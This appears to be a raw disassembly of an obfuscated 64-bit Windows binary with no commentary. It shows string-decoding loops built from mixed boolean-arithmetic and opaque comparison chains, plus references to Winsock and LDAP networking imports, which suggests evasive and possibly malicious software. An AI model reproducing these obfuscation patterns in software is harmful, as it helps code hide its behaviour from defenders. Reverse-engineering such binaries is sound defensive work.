nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14009b871
movzx r11d, byte [rbp + rbx + 0x930]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14009b865
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009ab63
lea rcx, [rbx + r13]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x18
jmp 0x14009aba0
je 0x14009b7db
inc rax
cmp r8, rax
je 0x14009b771
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009b70b
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009b6e1
lea rax, [r9 + 7]
cmp r8, rax
je 0x14009b687
nop dword [rax]
cmp r9, rbx
ja 0x14009b859
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x14009abd6
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009ac20
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009b663
inc rax
cmp r8, rax
je 0x14009b635
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009b60c
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009b5b4
lea rax, [r9 + 8]
cmp r8, rax
je 0x14009b57a
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14009b1ef
nop dword [rax]
lea rax, [r9 + 8]
cmp r8, rax
je 0x14009b1c7
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14009b19a
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009b16b
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14009b145
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14009b120
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14009b0ec
lea r8, [r9 + 0x80]
lea r9, [r8 + 1]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14009b834
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14009b80f
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14009ade6
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14009adc6
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14009ada7
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14009b089
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14009b020
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14009afcf
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14009af9b
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14009ac30
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x61]
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14009af65
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14009af3d
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14009af14
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14009aedb
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14009aeba
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14009ae95
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14009ae6a
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14009ae38
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14009ae0f
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x2a]
jmp 0x14009ac30
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 8
add r10b, dl
jmp 0x14009ac20
lea rdx, [rbx + r12]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009aba0
movabs rdx, 0xbb8fc13b16e9ed18
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009ab25
movabs rdx, 0x83028a10a50c5a40
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009b6ab
movabs rdx, 0x6f2a20cd662189f0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x14009ab12
movabs rcx, 0x5b51b78a2736b9a0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
dec rbx
inc rbx
jmp 0x14009ab12
movabs rdx, 0x47794e46e84be950
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x30
jmp 0x14009b72b
movabs rcx, 0x33a0e503a9611900
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
jmp 0x14009b759
movabs rdx, 0x1fc87bc06a7648b0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009ab12
movabs rdx, 0xbf0127d2b8b7860
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009b5d7
movabs rdx, 0xf817a939eca0a810
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x70
add r10b, dl
jmp 0x14009b792
movabs rcx, 0xe43f3ff6adb5d7c0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x40
movzx eax, byte [rbp + rbx + 0x930]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009ab12
movabs rdx, 0x32a238ce906acef8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
mov byte [rbp + rbx + 0x930], r10b
inc rbx
jmp 0x14009ab12
movabs rdx, 0x1ec9cf8b517ffea8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r9, 0x40
jb 0x14009afbf
movabs rcx, 0xf41cf86588c77ff0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x20]
jmp 0x14009b6ab
movabs rdx, 0xaf1664812952e58
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x68
add r10b, dl
cmp r8, 0x3e8
jae 0x14009b51e
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x14009b43c
movabs rdx, 0x2da8dbc5139b5cd0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009aff3
movabs rcx, 0xf718fd04d3aa5e08
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
lea rax, [r8 + r9]
cmp rax, 0x42
je 0x14009b54c
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x14009b31b
movabs rdx, 0xdd488a82fef9d188
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009b043
movabs rcx, 0xa6b8abc2bf08d2c0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009ab12
movabs rcx, 0x92e0427f801e0270
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x10
jmp 0x14009b759
movabs rdx, 0x7f07d93c41333220
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14009b72b
movabs rdx, 0x6b2f6ff9024861d0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14009ab12
movabs rcx, 0x575706b5c35d9180
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
inc r9
dec rbx
inc rbx
jmp 0x14009ab12
movabs rdx, 0x437e9d728472c130
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x50
add r10b, dl
jmp 0x14009b6ab
lea rax, [r9 + 5]
cmp r8, rax
jae 0x14009b217
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
jmp 0x14009b0a8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009b25e
movabs rdx, 0xa0c0a28429431690
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x930]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009ab12
inc rax
cmp r8, rax
jne 0x14009b292
movabs rdx, 0xb4990bc7682de6e0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x20
add r10b, dl
jmp 0x14009b792
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009b2ae
movabs rdx, 0x3fab0d463d92820
jmp 0x14009b14f
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14009b2e6
movabs rcx, 0x17d31a17a2c3f870
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x10
dec rbx
inc rbx
jmp 0x14009ab12
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009b0a8
movabs rdx, 0x3f83ec9e20999910
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x70
add r10b, dl
jmp 0x14009b6ab
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009b351
movabs rdx, 0xf120f3c63de4a1d8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009b6ab
inc rax
cmp r8, rax
jne 0x14009b38b
movabs rcx, 0x4f95d097ccf7228
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x18
inc r9
dec rbx
inc rbx
jmp 0x14009ab12
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009b3c3
movabs rcx, 0x18d1c64cbbba4278
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x48
dec rbx
inc rbx
jmp 0x14009ab12
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009b3f9
movabs rdx, 0x408298d3398fe318
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009b759
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14009b043
movabs rcx, 0x8fe43de0353b2458
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x68
movzx eax, byte [rbp + rbx + 0x930]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009ab12
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009b483
movabs rdx, 0x4181450852862d20
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x930]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009ab12
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009b4b5
movabs rdx, 0x6932178ed05bcdc0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x40
jmp 0x14009b5d4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009b4eb
movabs rdx, 0x90e2ea154e316e60
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009b759
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14009aff3
movabs rcx, 0xb893bc9bcc070f00
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
dec rbx
inc rbx
jmp 0x14009ab12
movabs rdx, 0x7f561a8c7b25040
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0x930]
add r10b, r11b
jmp 0x14009b72b
movabs rdx, 0x1bcdcaec069d2090
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x930]
add r10b, r11b
jmp 0x14009b5d4
movabs rdx, 0x2fc049f4ae2de18
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x930]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009ab12
movabs rdx, 0xdb4b3218cd0d3d78
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x48
add r10b, dl
movabs rcx, 0xa5b9ff8da61288b8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 8
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x930], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x14009b792
movabs rdx, 0x9fc1f64f104ccc88
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009b72e
movabs rcx, 0x781123c892772be8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x58
inc r9
dec rbx
inc rbx
jmp 0x14009ab12
movabs rcx, 0x6438ba85538c5b98
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x28
jmp 0x14009b6ab
movabs rdx, 0x3c87e7fed5b6baf8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rdx, 0x7e092d07283ce818
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x930], cl
inc r9
dec rbx
inc rbx
jmp 0x14009ab12
movabs rcx, 0x14d7157857e11a58
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
dec rbx
inc rbx
jmp 0x14009ab12
movabs rdx, 0xfeac3518f64a08
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x38
add r10b, dl
movabs rdx, 0x91e1964a6727b868
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x930], cl
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009ab12
mov r11, rdx
movabs rcx, 0xb19d07281d4b08c8
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x78
movabs rcx, 0x2fa6342f4587f0e0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x20
add r11b, cl
mov byte [rbp + rbx + 0x930], r11b
inc r8
mov rax, r15
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x930]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009ab12
movabs rcx, 0x9dc49de4de603878
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x48
movzx eax, byte [rbp + rbx + 0x930]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009ab12
movabs rcx, 0xa7b757f7d7ff1cc8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x78
jmp 0x14009ab10
movabs rcx, 0x93deeeb499144c78
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x48
jmp 0x14009ab00
lea rcx, [rbp + 0x1620410]
jmp 0x14009b878
lea rcx, [rbp + 0x576c38]
jmp 0x14009b878
lea rcx, [rbp + 0x930]
mov rdx, rdi
call fcn.140035b50
test al, al
je 0x14009b8d3
lea rdx, [0x140236c50]
lea rcx, [rbp + 0x2e0]
call fcn.140002660
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002800
lea rcx, [rbx + 0x30]
call fcn.14006abf0
movzx ecx, byte [rax]
mov byte [0x1402389ca], cl
lea rdx, [0x140236b10]
lea rcx, [rbp + 0x300]
call fcn.140002660
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x10]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002800
lea rcx, [rbx + 0x30]
call fcn.14006abf0
mov rdi, rax
mov byte [rbp + 0xcc8], gethostname
mov byte [rbp + 0xcc9], reloc.WS2_32.dll_listen
mov byte [rbp + 0xcca], 0xa
mov byte [rbp + 0xccb], Ordinal_30
mov byte [rbp + 0xccc], Ordinal_30
mov byte [rbp + 0xccd], 2
mov byte [rbp + 0xcce], 9
mov byte [rbp + 0xccf], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xcd0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xcd1], 0
mov byte [rbp + 0xcd2], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xcd3], reloc.WS2_32.dll_WSAStartup
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xcd4], xmm0
mov dword [rbp + 0xce4], eax
mov word [rbp + 0xce8], ax
mov byte [rbp + 0xcea], al
movabs rsi, 0xe35aaac01589101b
movabs r13, 0xb57e38e4934fab6f
movabs r14, 0x8b88e41bfc421545
movabs r12, 0x208c7252d5a2be67
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14009c7b2
movzx r11d, byte [rbp + rbx + 0xcc8]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14009c7a6
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009ba23
lea rcx, [rbx + r13]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 9
jmp 0x14009ba50
je 0x14009c71e
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009c6e6
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009c698
lea rax, [r9 + 7]
cmp r8, rax
je 0x14009c66e
cmp r9, rbx
ja 0x14009c79a
lea rax, [r9 + 8]
cmp r8, rax
jae 0x14009ba81
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x43
jmp 0x14009bac1
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009c61d
inc rax
cmp r8, rax
je 0x14009c5f0
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009c5bc
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009c553
lea rax, [r9 + 6]
cmp r8, rax
je 0x14009c51d
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14009c153
nop
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14009c12a
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14009c0f8
lea rax, [r9 + 9]
cmp r8, rax
je 0x14009c0cd
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14009c0a5
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14009c081
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14009c04d
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14009c025
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14009bffd
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14009bfc7
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14009bad0
lea r8, [r9 + 9]
lea r9, [r8 + 0x80]
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14009c776
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14009c752
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14009bcc1
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14009bca6
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14009bc8b
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14009bf62
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14009bf02
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14009beaf
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14009be7f
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14009bad0
lea r8, [r9 + 0x7a]
lea r9, [r8 + 5]
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14009be49
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14009be25
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14009bdfd
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14009bdc4
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14009bd9b
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14009bd72
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14009bd43
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14009bd11
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14009bce8
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14009bad0
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x400]
jmp 0x14009bad0
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1d
jmp 0x14009bac1
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2f
jmp 0x14009ba50
movabs rdx, 0xb5900089af036789
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add dl, 0x41
add r10b, dl
jmp 0x14009b9e5
movabs rdx, 0x1ad55600ac4880d8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009c63c
movabs rdx, 0xafd8e43785a929fa
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14009b9d2
movabs rdx, 0x44dc726e5f09d31c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14009b9d2
movabs rdx, 0xd9e000a5386a7c3e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009c6b7
movabs rdx, 0x6ee38edc11cb2560
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009c706
movabs rdx, 0x3e71d12eb2bce82
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009b9d2
movabs rdx, 0x98eaab49c48c77a4
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7c
add r10b, dl
jmp 0x14009c4e8
movabs rcx, 0x2dee39809ded20c6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6a
jmp 0x14009c572
movabs rcx, 0xc2f1c7b7774dc9e8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x58
movzx eax, byte [rbp + rbx + 0xcc8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009b9d2
movabs rcx, 0x377aab4096bf70bd
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x2b
mov byte [rbp + rbx + 0xcc8], r10b
inc rbx
jmp 0x14009b9d2
movabs rdx, 0xcc7e3977702019df
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x19
add r10b, dl
cmp r9, 0x42
jb 0x14009be9f
movabs rdx, 0x504aab12b1be4e3a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x2c]
jmp 0x14009c63c
movabs rdx, 0x6181c7ae4980c301
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 7
add r10b, dl
cmp r8, 0x2a
jae 0x14009c48b
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x14009c340
movabs rdx, 0x226e39372f84e98e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14009becf
movabs rdx, 0xf68555e522e16c23
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0xb
add r10b, dl
lea rax, [r8 + r9]
cmp rax, 0x20
je 0x14009c4bc
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x14009c266
movabs rcx, 0x3f138e7719fbd973
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x25
jmp 0x14009bf25
movabs rcx, 0x54200080813660a2
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x6e
movzx eax, byte [rbp + rbx + 0xcc8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009b9d2
movabs rdx, 0xe9238eb75a9709c4
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5c
add r10b, dl
jmp 0x14009c572
movabs rdx, 0x7e271cee33f7b2e6
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4a
add r10b, dl
jmp 0x14009c4e8
movabs rcx, 0x132aab250d585c08
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009b9d2
movabs rcx, 0xa82e395be6b9052a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x26
jmp 0x14009c706
movabs rdx, 0x3d31c792c019ae4c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x14
add r10b, dl
jmp 0x14009c6b7
movabs rcx, 0xd23555c9997a576e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 2
dec rbx
inc rbx
jmp 0x14009b9d2
